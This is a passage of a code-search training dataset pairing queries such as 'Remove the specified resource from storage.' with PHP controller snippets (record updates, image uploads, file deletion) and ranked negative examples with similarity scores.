{\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if (file_exists($imagepath)) {\n @unlink($imagepath);\n }\n\n\n $data->delete();\n\n return redirect()->route('image.index');\n }", "function delete($path);", "public function removeItem(int $id)\n\t{\n\t\t$this->storage->remove($id);\n\t}", "public function destroy(File $file)\n {\n //\n $v = Storage::delete($file->path);\n \n }", "public function destroyResource($resource)\n {\n if (!is_object($resource)) {\n return false;\n }\n\n $resource_type = get_class($resource);\n $resource_id = $resource->getKey();\n\n return Role::where('resource_type', $resource_type)\n ->where('resource_id', $resource_id)\n ->delete();\n }", "public function remove($filePath){\n return Storage::delete($filePath);\n }", "public function remove(): void\n {\n $file = $this->getAbsolutePath();\n if (!is_file($file) || !file_exists($file)) {\n return;\n }\n\n unlink($file);\n }", "public function destroy(Request $request, Storage $storage)\n {\n $storage->delete();\n $request->session()->flash('alert-success', 'Запись успешно удалена!');\n return redirect()->route('storage.index');\n }", "public function remove(Storable $entity): Storable\n {\n $this->getRepository(get_class($entity))->remove($entity);\n $this->detach($entity);\n\n return $entity;\n }", "public function processDeletedResource(EntityResource $resource)\n {\n /** @var AuthorizationRepository $repository */\n $repository = $this->entityManager->getRepository('Edweld\\AclBundle\\Entity\\Authorization');\n\n $repository->removeAuthorizationsForResource($resource);\n }", "function _unlink($resource, $exp_time = null)\n {\n if(file_exists($resource)) {\n return parent::_unlink($resource, $exp_time);\n }\n\n // file wasn't found, so it must be gone.\n return true;\n }", "public function remove($id);", "public function remove($id);", "public function deleted(Storage $storage)\n {\n //\n }", "public function destroy($id)\n {\n $data = Product::findOrFail($id);\n\n if(file_exists('uploads/product/'.$data->image1)){\n unlink('uploads/product/'.$data->image1);\n }\n\n if(file_exists('uploads/product/'.$data->image2)){\n unlink('uploads/product/'.$data->image2);\n }\n\n if(file_exists('uploads/product/'.$data->image3)){\n unlink('uploads/product/'.$data->image3);\n }\n $data->delete();\n }", "public function removeUpload()\n {\n $file = $this->getAbsolutePath();\n if ($file) {\n unlink($file);\n }\n }", "public function resources_delete($resource_id, Request $request) {\n if ($resource_id) {\n $resp = Resources::where('id', '=', $resource_id)->delete();\n if($resp){\n $msg = 'Resource has been deleted successfully.';\n $request->session()->flash('message', $msg);\n }\n }\n //return redirect()->route('admin-factor-list');\n return redirect()->to($_SERVER['HTTP_REFERER']);\n }", "public function delete()\n {\n try\n {\n $thumbnail = $this->getThumbnail();\n if($thumbnail)\n {\n $thumbnail->delete();\n }\n }\n catch(sfException $e){}\n \n // delete current file\n parent::delete();\n }", "function deleteResource($uuid){\n $data = callAPI(\"DELETE\",\"/urest/v1/resource/\".$uuid);\n return $data;\n}", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function delete();", "public function remove_resource($idproject){\n\t\t\n\t\t// Load model and try to get project data\n\t\t$this->load->model('Projects_model', 'projects');\n\t\t\n\t\t// Update\n\t\t$this->projects->save_project(array(\"ext\" => \"\", \"vzaar_idvideo\" => \"0\", \"vzaar_processed\" => \"0\"), $idproject);\n\t}", "public function destroy($id){\n $file_data = Slider::findOrFail($id);\n File::delete(public_path('../storage/app/public/sliders/'.$file_data->path));\n $slider = Slider::destroy($id);\n return response()->json(null, 204);\n }", "public function delete()\n\t{\n\t\t@unlink($this->get_filepath());\n\t\t@unlink($this->get_filepath(true));\n\t\tparent::delete();\n\t}", "public function delete($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'DELETE');\n }", "public function destroy($id)\n {\n //Find Slider With Id\n $slider = Slider::findOrFail($id);\n // Check If The Image Exist\n if(file_exists('uploads/slider/'.$slider->image)){\n\n unlink( 'uploads/slider/'.$slider->image);\n }\n $slider->delete();\n return redirect()->back()->with('success','Slider Successfully Deleted');\n }" ]
[ "0.6672584", "0.6659381", "0.6635911", "0.6632799", "0.6626075", "0.65424126", "0.65416265", "0.64648265", "0.62882507", "0.6175931", "0.6129922", "0.60893893", "0.6054415", "0.60428125", "0.60064924", "0.59337646", "0.5930772", "0.59199584", "0.5919811", "0.5904504", "0.5897263", "0.58962846", "0.58951396", "0.58951396", "0.58951396", "0.58951396", "0.5880124", "0.58690923", "0.5863659", "0.5809161", "0.57735413", "0.5760811", "0.5753559", "0.57492644", "0.5741712", "0.57334286", "0.5726379", "0.57144034", "0.57096", "0.5707689", "0.5705895", "0.5705634", "0.5703902", "0.5696585", "0.5684331", "0.5684331", "0.56780374", "0.5677111", "0.5657287", "0.5648262", "0.5648085", "0.5648012", "0.5640759", "0.5637738", "0.5629985", "0.5619264", "0.56167465", "0.5606877", "0.56021434", "0.5601949", "0.55992156", "0.5598557", "0.55897516", "0.5581397", "0.5566926", "0.5566796", "0.55642897", "0.55641", "0.5556583", "0.5556536", "0.5550097", "0.5543172", "0.55422723", "0.5540013", "0.5540013", "0.55371785", "0.55365825", "0.55300397", "0.552969", "0.55275744", "0.55272335", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.55271083", "0.5525997", "0.5525624", "0.5523911", "0.5521122", "0.5517412" ]
0.0
-1
Student Is In Limited Rollout District For Resource
public function studentIsInLimitedRolloutDistrictForResource($studentId,$resource,$districtId = false) { if (empty($districtId)) { $districtId = $this->getIepStudentTable()->getDistrictForStudentId($studentId); } if (in_array($districtId, $this->limitedRollout[$resource]['districts'])) { return true; } return false; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getIsCustomerAccessLimited(): bool;", "public function canBeManagedForCareerSubjectAllowed()\n {\n return $this->countCareerStudents() > 0;\n\n }", "public function is_student() {\n return $this->session->get(\"niveau_acces\") >= 0;\n }", "function check_in_area($moo = 0, $district = 0)\n{\n $ci =& get_instance();\n $moo = intval($moo);\n $district = intval($district);\n if ($district == 7052) { // ตำบลบ้านเกาะ\n switch ($moo) {\n case 4:\n return true;\n break;\n default:\n break;\n }\n }\n /*\n else {\n $hr = $ci->load->database('hr',true);\n $hr_db = $hr->database;\n $ps_id = $ci->session->userdata('UsPsCode');\n if($ps_id != \"\"){\n $sql = \"SELECT ps_in_area FROM `{$hr_db}`.`hr_person` WHERE ps_id = ?\";\n $query = $hr->query($sql, array($ps_id));\n if($query->row()->ps_in_area == 'Y')\n return true;\n }\n }\n */\n return false;\n}", "public function test_that_a_parent_enrollment_only_appears_once_in_students_lists()\n {\n }", "public function hasManyDisciplinarySanctions()\n {\n $subject_configuration = $this->getCurrentStudentCareerSchoolYear()->getCareerSchoolYear()->getSubjectConfiguration();\n\n if ($subject_configuration->getMaxDisciplinarySanctions() == 0)\n return false;\n\n return ($subject_configuration->getMaxDisciplinarySanctions() <= $this->countStudentDisciplinarySanctionsForSchoolYear());\n\n }", "public function authorize()\n {\n $this->validate($this->rules());\n $user = auth()->user()->first();\n $student = Student::findOrFail($this->input('student_id'));\n $staffCourse = StaffTeachCourse::findOrFail($this->input('staff_teach_course_id'));\n $semester = Semester::findOrFail($this->input('semester_id'));\n\n $school = $semester->school()->first();\n\n return (\n ($student->school()->first()->id == $school->id) &&\n ($staffCourse->school()->first()->id == $school->id)\n )\n &&\n (\n $user->hasRole(Role::ADMIN) || \n $user->hasRole([ \n Role::SCHOOL_OWNER, \n Role::DEAN, \n Role::HOD \n ], $school->id) ||\n ($user->id == $student->user_id)\n );\n }", "public function allowedToSubmitSubordinateOvertime()\n { return (($this->esgrp != 'ES') && ($this->esgrp != 'EF') && ($this->esgrp != 'F')) ? true : false;\n }", "function has_supergroup_standings() {\n return last_aggregate_roundid() !== 0;\n}", "public static function may_restrict_by_site()\n {\n return 3 == lib::create( 'business\\session' )->get_role()->tier;\n }", "public function hasUsageRights() {}", "function userCanViewStudent( $sessionID ){\r\n\t\treturn $this->getAccessLevel() > 3;\r\n\t}", "public function isAllowedToApplyLoan()\n {\n return $this->getAge() >= 18;\n }", "public static function onlineStudent(){\n $students = Roll::join('admissions','admissions.id', '=' , 'rolls.student_id' )\n ->where(['username' => Session::get('studentSession')])->first();\n \n return $students;// we will join the student with admission okay to have all his/her data's\n }", "public function authorize()\n {\n $user = auth()->user()->first();\n $department = Department::findOrFail($this->input('department_id'));\n $semester_type = SemesterType::findOrFail($this->input('semester_type_id'));\n $level = Level::findOrFail($this->input('level_id'));\n return (\n $user->can('view', $department) && \n $user->can('view', $level) &&\n $user->can('view', $semester_type)\n ) &&\n (\n $user->hasRole(Role::ADMIN) || \n ($user->id == $department->hod->first()->user()->first()->id) || // department hod\n ($user->staff()->where('id', $department->faculty()->first()->dean()->first()->id)->exists()) || // faculty dean\n ($user->id == $department->faculty()->first()->school()->first()->owner_id) // school owner\n );\n }", "function _is_staff()\n {\n $user = $this->visitor->get();\n\t\t//echo $user['ugrade'];\n\t\t//1.普通會員 2.VIP 3.Staff\n\t\tif($user['ugrade'] == 3){\n\t\t\treturn $user['ugrade'];\n\t\t}\n\t}", "public function isStudent($id){\n\t\treturn ($this->field('level',array('id'=>$id)) == 3);\n\t}", "public function authorize()\n {\n $internship = Internship::findOrFail($this->route('id'));\n $student = $internship->student;\n\n return $internship->state_id == State::CANCELED && $student->internship == null;\n }", "public function 